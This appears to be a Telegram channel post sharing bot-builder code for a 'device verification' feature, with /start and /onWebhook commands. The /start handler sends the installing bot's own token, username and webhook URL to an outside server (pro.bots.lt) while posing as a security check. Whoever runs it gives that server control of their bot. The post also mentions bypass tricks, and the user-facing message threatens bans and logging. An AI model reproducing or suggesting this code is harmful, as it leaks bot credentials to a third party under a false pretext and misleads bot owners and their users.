TᴇʟᴇBᴏᴛ Cʀᴇᴀᴛᴏʀ Cᴏᴅᴇs ✊
✔️ Device verification fixed update only API url
🚫 Remove https://project-hub.tg-dev-pro.site/tg-client/
✅ Use https://pro.bots.lt/tg-client/
😉 Or fully code in below.
💪 stooped some tricks bypass system and all working fine
☑️ 𝗖𝗼𝗺𝗺𝗮𝗻𝗱 •• /start
uppercase_letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
lowercase_letters = "abcdefghijklmnopqrstuvwxyz"
numbers = "0123456789"
# Combine the pools
all_characters = uppercase_letters + lowercase_letters + numbers
# Generate a 34-character random hash
random_hash = "".join(libs.random.randomWeightedChoice(all_characters, [1] * len(all_characters)) for _ in range(34))
webhook = libs.Webhook.getUrlFor(command="/onWebhook", user_id=u)
try:
response = HTTP.get(f"https://pro.bots.lt/tg-client/bot_register.php?botHash={random_hash}&bot=@{Bot.info().username}&webhook_url={webhook}&bot_token={Bot.info().token}")
response_data = response.json()
# Parse JSON response
except:
pass
webPage = f"https://pro.bots.lt/tg-client/index.html?bot_hash={random_hash}&bot=@{Bot.info().username}"
keys = [[InlineKeyboardButton(text='🔐 Start Verification', web_app=webPage)]]
button = InlineKeyboardMarkup(keys)
security_message = """
<b>🔒 Identity Verification Required</b>
To ensure a secure environment for all users, please complete the verification process.
⚠️ <b>Important Security Notice:</b>
- Using VPNs, proxies, or Tor will result in immediate ban
- Multiple verification attempts from the same device may trigger restrictions
- All verification attempts are logged for security purposes
Complete verification to access all bot features.
"""
bot.sendMessage(chat_id=u,text=security_message, reply_markup=button)
☑️ 𝗖𝗼𝗺𝗺𝗮𝗻𝗱 •• /onWebhook
# Check if 'json' key exists
if options is None or options.json is None:
bot.replyText(u, "❌ Not Allowed", parse_mode="Markdown")
raise ReturnCommand()
# Parse verification response
res = options.json
status = res["status"]
title = res["title"]
message_text = res["message"]
# SUCCESS → Verified Successfully
if status == "success":
User.saveData("DeviceVerification", True)
User.saveData("start_verification", True)
User.saveData("verification_made", True)
bot.sendMessage(
f"✅ <b>{title}</b>\n\n{message_text}",
parse_mode="html"
)
Bot.runCommand("/start")
raise ReturnCommand()
# INFO → Already Verified
elif status == "info":
bot.sendMessage(
f"✔️ <b>{title}</b>\n\n{message_text}\n\n🔄 Redirecting to main menu...",
parse_mode="html"
)
Bot.runCommand("/start")
raise ReturnCommand()
# ERROR → Verification Failed / Multiple Devices
elif status == "error":
User.saveData("ban_u", True)
bot.sendMessage(
f"🚫 <b>{title}</b>\n\n{message_text}\n\nYou have been permanently banned from using this bot.",
parse_mode="html"
)
raise ReturnCommand()
18 · 694 ·